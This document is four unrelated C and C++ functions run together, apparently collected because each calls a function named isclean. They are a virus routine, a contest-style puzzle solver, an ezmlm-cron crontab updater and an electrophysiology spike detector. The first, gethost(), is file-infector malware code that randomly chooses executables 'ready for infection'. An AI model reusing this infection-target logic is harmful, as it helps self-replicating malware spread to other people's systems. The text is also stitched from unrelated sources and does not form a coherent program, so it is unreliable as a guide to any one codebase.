char *gethost(char *dir, int flag) { #define RANDNUM (int)((double)(found)*rand()/(RAND_MAX + 1.0)) /* uff */ static int first = 1, gen = 0; int r, i = 0; static struct dirent **filelist; char *host, *path; static int found; path = getenv("PATH"); /* Only 'randomize' at the first call . * Use scandir() to read out the directory. */ if (first) { if ((found = scandir(dir, &filelist, 0, 0)) <= 0) return NULL; srand(getpid()); } r = RANDNUM; /* Get one of the file randomly. */ if ((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; /* isclean means ready for infection: NOT a directory * NOT a textfile and NOT infected */ while (isclean(host) != 1 && i < found) { r = RANDNUM; if((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; i++; } first = 0; if (i >= found) return NULL; else { DFPRINTF("@f gethost: got host <%s>\n", host); if (flag == 0) return filelist[r]->d_name; /* static */ if (flag == 1) return host; /* static, da host ein statischer */ else /* return von *whereis(...) ist */ return NULL; } #undef RANDNUM }
int main(){ int x,y,i; /*memset(c,0,sizeof(c)); not needed! */ while(1){ scanf("%d%d",&x,&y); if(x==-1)return 0; if(x!=0){c[x][y]=1;continue;} /*check*/ i=0; while(!isclean()){ go(); i++; } printf("%d\n",i); memset(c,0,sizeof(c)); } }
int main(int argc,char **argv) { int child; const char *sendargs[4]; stralloc addr = {0}; unsigned int pos = 0,pos2,poslocal,len; const char *cp; unsigned long hh = 4L; /* default time 04:12 */ unsigned long mm = 12L; const char *dow = "*"; /* day of week */ const char *qmail_inject = "/bin/qmail-inject "; char strnum[FMT_ULONG]; unsigned long uid,euid = 0; stralloc rp = {0}; stralloc user = {0}; stralloc euser = {0}; stralloc dir = {0}; stralloc listaddr = {0}; stralloc line = {0}; struct passwd *ppasswd; int match; int hostmatch; int localmatch; unsigned long dh,t; int founduser = 0; int listmatch = 0; int flagdigit = 0; int flagours; int foundlocal = 0; int foundmatch = 0; unsigned int nolists = 0; unsigned long maxlists; unsigned int lenhost,lenlocal; int fdin,fdout = -1; char *local = (char *) 0; /* list = local@host */ const char *host = (char *) 0; char *code = (char *) 0; /* digest code */ char inbuf[512]; substdio ssin; char outbuf[512]; substdio ssout; (void) umask(077); sig_pipeignore(); optind = getconfopt(argc,argv,options,0,0); if (flagt != 0) { pos = scan_ulong(flagt,&hh); if (flagt[pos++] != ':') die_usage(); (void) scan_ulong(flagt + pos,&mm); } if (flagw != 0) { dow = flagw; cp = flagw - 1; while (*(++cp)) { if (*cp >= '0' && *cp <= '7') { if (flagdigit) die_dow(); flagdigit = 1; } else if (*cp == ',') { if (!flagdigit) die_dow(); flagdigit = 0; } else die_dow(); } } if (flaglist + flagdelete + flagconfig > 1) strerr_die2x(100,FATAL,MSG(ERR_EXCLUSIVE)); uid = getuid(); if (uid && !(euid = geteuid())) strerr_die2x(100,FATAL,MSG(ERR_SUID)); if (!(ppasswd = getpwuid(uid))) strerr_die2x(100,FATAL,MSG(ERR_UID)); if (!stralloc_copys(&user,ppasswd->pw_name)) die_nomem(); if (!stralloc_0(&user)) die_nomem(); if (!(ppasswd = getpwuid(euid))) strerr_die2x(100,FATAL,MSG(ERR_EUID)); if (!stralloc_copys(&dir,ppasswd->pw_dir)) die_nomem(); if (!stralloc_0(&dir)) die_nomem(); if (!stralloc_copys(&euser,ppasswd->pw_name)) die_nomem(); if (!stralloc_0(&euser)) die_nomem(); wrap_chdir(dir.s); local = argv[optind++]; /* list address, optional for -c & -l */ if (!local) { if (!flagconfig && !flaglist) die_usage(); lenlocal = 0; lenhost = 0; } else { if (!stralloc_copys(&listaddr,local)) die_nomem(); if (!isclean(local,1)) die_argument(); pos = str_chr(local,'@'); lenlocal = pos; local[pos] = '\0'; host = local + pos + 1; lenhost = str_len(host); code = argv[optind]; if (!code) { /* ignored for -l, -c, and -d */ if (flagdelete || flaglist || flagconfig) /* get away with not putting code for delete */ code = (char*)"a"; /* a hack - so what! */ else die_usage(); } else if (!isclean(code,0)) die_argument(); } if ((fdin = open_read(TXT_EZCRONRC)) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_OPEN,TXT_EZCRONRC)); /* first line is special */ substdio_fdbuf(&ssin,read,fdin,inbuf,sizeof(inbuf)); if (getln(&ssin,&line,&match,'\n') == -1) strerr_die2sys(111,FATAL,MSG1(ERR_READ,TXT_EZCRONRC)); if (!match) strerr_die2sys(111,FATAL,MSG1(ERR_READ,TXT_EZCRONRC)); /* (since we have match line.len has to be >= 1) */ line.s[line.len - 1] = '\0'; if (!isclean(line.s,0)) /* host for bounces */ strerr_die2x(100,FATAL,MSG1(ERR_CFHOST,TXT_EZCRONRC)); if (!stralloc_copys(&rp,line.s)) die_nomem(); match = 1; for(;;) { if (!match) break; /* to allow last line without '\n' */ if (getln(&ssin,&line,&match,'\n') == -1) strerr_die2sys(111,FATAL,MSG1(ERR_READ,TXT_EZCRONRC)); if (!line.len) break; line.s[line.len-1] = '\0'; if (!case_startb(line.s,line.len,user.s)) continue; pos = user.len - 1; if (pos >= line.len || line.s[pos] != ':') continue; founduser = 1; /* got user line */ break; } close(fdin); if (!founduser) strerr_die2x(100,FATAL,MSG(ERR_BADUSER)); if (flagconfig) { line.s[line.len-1] = '\n'; /* not very elegant ;-) */ substdio_fdbuf(&ssout,write,1,outbuf,sizeof(outbuf)); if (substdio_put(&ssout,line.s,line.len) == -1) strerr_die2sys(111,FATAL,MSG(ERR_WRITE_STDOUT)); if (substdio_flush(&ssout) == -1) strerr_die2sys(111,FATAL,MSG(ERR_WRITE_STDOUT)); _exit(0); } ++pos; /* points to first ':' */ len = str_chr(line.s+pos,':'); /* second ':' */ if (!line.s[pos + len]) die_syntax(&line); if (!local) { /* only -d and std left */ localmatch = 1; hostmatch = 1; } else { hostmatch = 0; if (len <= str_len(local)) if (!str_diffn(line.s+pos,local,len)) localmatch = 1; } pos += len + 1; len = str_chr(line.s + pos,':'); /* third */ if (!line.s[pos + len]) die_syntax(&line); if (local) { /* check host */ if (len == 0) /* empty host => any host */ hostmatch = 1; else if (len == str_len(host)) if (!case_diffb(line.s+pos,len,host)) hostmatch = 1; } pos += len + 1; pos += scan_ulong(line.s+pos,&maxlists); if (line.s[pos]) { /* check additional lists */ if (line.s[pos] != ':') die_syntax(&line); if (line.s[pos+1+str_chr(line.s+pos+1,':')]) die_syntax(&line); /* reminder lists are not separated by ':' */ /* otherwise a ':' or arg miscount will die */ /* silently */ if (local) { while (++pos < line.len) { len = str_chr(line.s + pos,'@'); if (len == lenlocal && !str_diffn(line.s + pos,local,len)) { pos += len; if (!line.s[pos]) break; pos++; len = str_chr(line.s+pos,','); if (len == lenhost && !case_diffb(line.s+pos,len,host)) { listmatch = 1; break; } } pos += len; } } } if (!listmatch) { if (!hostmatch) strerr_die2x(100,FATAL,MSG(ERR_BADHOST)); if (!localmatch) strerr_die2x(100,FATAL,MSG(ERR_BADLOCAL)); } /* assemble correct line */ if (!flaglist) { if (!stralloc_copyb(&addr,strnum,fmt_ulong(strnum,mm))) die_nomem(); if (!stralloc_cats(&addr," ")) die_nomem(); dh = 0L; if (deltah <= 3L) dh = deltah; else if (deltah <= 6L) dh = 6L; else if (deltah <= 12L) dh = 12L; else if (deltah <= 24L) dh = 24L; else if (deltah <= 48L) { if (dow[0] == '*') dow = "1,3,5"; } else if (deltah <= 72L) { if (dow[0] == '*') dow = "1,4"; } else if (dow[0] == '*') dow = "1"; if (!dh) { if (!stralloc_cats(&addr,"*")) die_nomem(); } else { if (!stralloc_catb(&addr,strnum,fmt_ulong(strnum,hh))) die_nomem(); for (t = hh + dh; t < hh + 24L; t+=dh) { if (!stralloc_cats(&addr,",")) die_nomem(); if (!stralloc_catb(&addr,strnum,fmt_ulong(strnum,t % 24L))) die_nomem(); } } if (!stralloc_cats(&addr," * * ")) die_nomem(); if (!stralloc_cats(&addr,dow)) die_nomem(); if (!stralloc_cats(&addr," ")) die_nomem(); if (!stralloc_cats(&addr,auto_qmail)) die_nomem(); if (!stralloc_cats(&addr,qmail_inject)) die_nomem(); if (!stralloc_cats(&addr,local)) die_nomem(); if (!stralloc_cats(&addr,"-dig-")) die_nomem(); if (!stralloc_cats(&addr,code)) die_nomem(); if (!stralloc_cats(&addr,"@")) die_nomem(); if (!stralloc_cats(&addr,host)) die_nomem(); /* feed 'Return-Path: <user@host>' to qmail-inject */ if (!stralloc_cats(&addr,"%Return-path: <")) die_nomem(); if (!stralloc_cats(&addr,user.s)) die_nomem(); if (!stralloc_cats(&addr,"@")) die_nomem(); if (!stralloc_cat(&addr,&rp)) die_nomem(); if (!stralloc_cats(&addr,">\n")) die_nomem(); } if (!stralloc_0(&addr)) die_nomem(); if (!flaglist) { /* now to rewrite crontab we need to lock */ lockfile("crontabl"); } /* if !flaglist */ if ((fdin = open_read("crontab")) == -1) { if (errno != error_noent) strerr_die2sys(111,FATAL,MSG1(ERR_READ,"crontab")); } else substdio_fdbuf(&ssin,read,fdin,inbuf,sizeof(inbuf)); if (flaglist) substdio_fdbuf(&ssout,write,1,outbuf,sizeof(outbuf)); else { if ((fdout = open_trunc("crontabn")) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_WRITE,"crontabn")); substdio_fdbuf(&ssout,write,fdout,outbuf,sizeof(outbuf)); } line.len = 0; if (fdin != -1) { for (;;) { if (!flaglist && line.len) { line.s[line.len-1] = '\n'; if (substdio_put(&ssout,line.s,line.len) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_WRITE,"crontabn")); } if (getln(&ssin,&line,&match,'\n') == -1) strerr_die2sys(111,FATAL,MSG1(ERR_READ,"crontab")); if (!match) break; flagours = 0; /* assume entry is not ours */ foundlocal = 0; line.s[line.len - 1] = '\0'; /* match so at least 1 char */ pos = 0; while (line.s[pos] == ' ' || line.s[pos] == '\t') ++pos; if (line.s[pos] == '#') continue; /* cron comment */ pos = str_chr(line.s,'/'); if (!str_start(line.s+pos,auto_qmail)) continue; pos += str_len(auto_qmail); if (!str_start(line.s+pos,qmail_inject)) continue; pos += str_len(qmail_inject); poslocal = pos; pos = byte_rchr(line.s,line.len,'<'); /* should be Return-Path: < */ if (pos == line.len) continue; /* not ezmlm-cron line */ pos++; len = str_chr(line.s+pos,'@'); if (len == user.len - 1 && !str_diffn(line.s+pos,user.s,len)) { flagours = 1; ++nolists; /* belongs to this user */ } if (!local) { foundlocal = 1; } else { pos = poslocal + str_chr(line.s+poslocal,'@'); if (pos + lenhost +1 >= line.len) continue; if (case_diffb(line.s+pos+1,lenhost,host)) continue; if (line.s[pos+lenhost+1] != '%') continue; /* check local */ if (poslocal + lenlocal + 5 >= line.len) continue; if (!str_start(line.s+poslocal,local)) continue; pos2 = poslocal+lenlocal; if (!str_start(line.s+pos2,"-dig-")) continue; foundlocal = 1; } if (foundlocal) { foundmatch = 1; if (flaglist && (local || flagours)) { if (substdio_put(&ssout,line.s,line.len) == -1) strerr_die2sys(111,FATAL,MSG(ERR_WRITE_STDOUT)); if (substdio_put(&ssout,"\n",1) == -1) strerr_die2sys(111,FATAL,MSG(ERR_WRITE_STDOUT)); } line.len = 0; /* same - kill line */ if (flagours) --nolists; } } close(fdin); } if (flaglist) { if (substdio_flush(&ssout) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_FLUSH,"stdout")); if (foundmatch) /* means we had a match */ _exit(0); else strerr_die2x(100,FATAL,MSG(ERR_NO_MATCH)); } /* only -d and regular use left */ if (nolists >= maxlists && !flagdelete) strerr_die2x(100,FATAL,MSG(ERR_LISTNO)); if (!flagdelete) if (substdio_put(&ssout,addr.s,addr.len-1) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_WRITE,"crontabn")); if (flagdelete && !foundlocal) strerr_die2x(111,FATAL,MSG(ERR_NO_MATCH)); if (substdio_flush(&ssout) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_FLUSH,"crontabn")); if (fsync(fdout) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_SYNC,"crontabn++")); if (close(fdout) == -1) strerr_die2sys(111,FATAL,MSG1(ERR_CLOSE,"crontabn")); wrap_rename("crontabn","crontab"); sendargs[0] = "sh"; sendargs[1] = "-c"; if (!stralloc_copys(&line,auto_cron)) die_nomem(); if (!stralloc_cats(&line,"/crontab '")) die_nomem(); if (!stralloc_cats(&line,dir.s)) die_nomem(); if (!stralloc_cats(&line,"/crontab'")) die_nomem(); if (!stralloc_0(&line)) die_nomem(); sendargs[2] = line.s; sendargs[3] = 0; if ((child = wrap_fork()) == 0) { if (setreuid(euid,euid) == -1) strerr_die2sys(100,FATAL,MSG(ERR_SETUID)); wrap_execvp(sendargs); } /* parent */ switch (wrap_waitpid(child)) { case 0: _exit(0); default: strerr_die2x(111,FATAL,MSG(ERR_CRONTAB)); } }
void SD_BandFlt::detectrowsshow(timeref_t start, timeref_t end, RawSFSrv *rawdest) { #else void SD_BandFlt::detectrows(timeref_t start, timeref_t end) { #endif // The beauty of the highpass filtering is that it kills all DC components, // and some of the 60Hz noise. // Should I try a filter with nicer sidelobes? Later vsn perhaps... //// bool fixedvar = start>=constant_variance_from; timeref_t t0 = 0;//src.first(); // db #if SHOW timeref_t t_dest = rawdest->latest(); #endif for (timeref_t t=start; t<end; t++) { Sample const &s = src[t]; #if SHOW Sample &rdst = (*rawdest)[t_dest++]; #endif detect_analog(t,s); for (int c=0; c<NCHANS; c++) { if (exclude.test(c)) { float y = bandpass[c](s[c]); #if SHOW rdst[c] = /*(inspike[c] ? (negvspike[c]?-100:100):0)*/ + raw_t(y); #endif float y2 = y*y; if (inspike[c]) { // in a spike if (negvspike[c]) { // it's a downward spike if (y<spikeheight[c]) { spikeheight[c] = short(y); spikepeak[c] = t; } else if (y2 < thresh2s[c]*.7) { // Dropping out of spike, push it onto fifo Spikeinfo &si(dst[dst.latest()]);; si.channel = c; si.time = spikepeak[c] - t0; si.width = t - spikestart[c]; si.height = spikeheight[c]; si.threshold = threshs[c]; if (!clean || isclean(si)) dst.donewriting(1); inspike[c] = false; } } else { // it's an upward spike if (y>spikeheight[c]) { spikeheight[c] = short(y); spikepeak[c] = t; } else if (y2<thresh2s[c]*.7) { // Dropping out of spike, push it onto fifo Spikeinfo &si(dst[dst.latest()]);; si.channel = c; si.time = spikepeak[c] - t0; si.width = t - spikestart[c]; si.height = spikeheight[c]; si.threshold = threshs[c]; if (!clean || isclean(si)) dst.donewriting(1); inspike[c] = false; } } } else { // not in a spike if (y2>thresh2s[c]) { // new spike inspike[c] = true; spikestart[c] = t; spikeheight[c] = short(y); spikepeak[c] = t; negvspike[c] = y<0; } } } } } #if SHOW rawdest->donewriting(end-start); #endif }